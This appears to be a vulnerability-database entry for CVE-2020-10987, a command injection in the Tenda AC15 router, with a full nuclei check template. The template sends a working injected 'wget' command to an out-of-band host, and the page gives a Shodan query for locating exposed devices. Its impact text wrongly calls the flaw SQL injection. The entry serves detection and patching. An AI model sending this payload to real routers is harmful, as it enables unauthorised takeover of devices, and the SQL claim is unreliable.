Tenda AC15 AC1900 version 15.03.05.19 - Command Injection

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

79.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The goform/setUsbUnload endpoint of Tenda AC15 AC1900 version 15.03.05.19 allows remote attackers to execute arbitrary system commands via the deviceName POST parameter.

Impact

Unauthenticated attackers can execute arbitrary SQL commands to access or modify database contents, potentially compromising the entire Tenda router and network configuration.

Fix

Upgrade to a patched firmware version or replace the affected device.

How to confirm it

Send: GET /
Positive when: contains(body,"<title>Tenda WiFi") and contains(content_type, 'text/html') and status_code == 200
Send: POST /goform/setUsbUnload
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2020-10987 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-10987

info:
  name: Tenda AC15 AC1900 version 15.03.05.19 - Command Injection
  author: pussycat0x
  severity: critical
  description: |
    The goform/setUsbUnload endpoint of Tenda AC15 AC1900 version 15.03.05.19 allows remote attackers to execute arbitrary system commands via the deviceName POST parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands to access or modify database contents, potentially compromising the entire Tenda router and network configuration.
  remediation: |
    Upgrade to a patched firmware version or replace the affected device.
  reference:
    - https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-10987
    cwe-id: CWE-78
    epss-score: 0.7981
    epss-percentile: 0.99611
    cpe: cpe:2.3:o:tenda:ac15_firmware:15.03.05.19:*:*:*:*:*:*:*
  metadata:
    shodan-query: http.title:"tenda wifi"
    max-request: 2
    vendor: tenda
    product: ac15_firmware
  tags: cve,cve2020,tenda,rce,kev,unauth,vkev,vuln

variables:
  payload: "wget http://{{interactsh-url}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"<title>Tenda WiFi")'
          - "contains(content_type, 'text/html')"
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        POST /goform/setUsbUnload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: */*

        deviceName=test`;{{payload}};`

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

References

https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68

Use this check only on systems you are authorised to test. Where the data comes from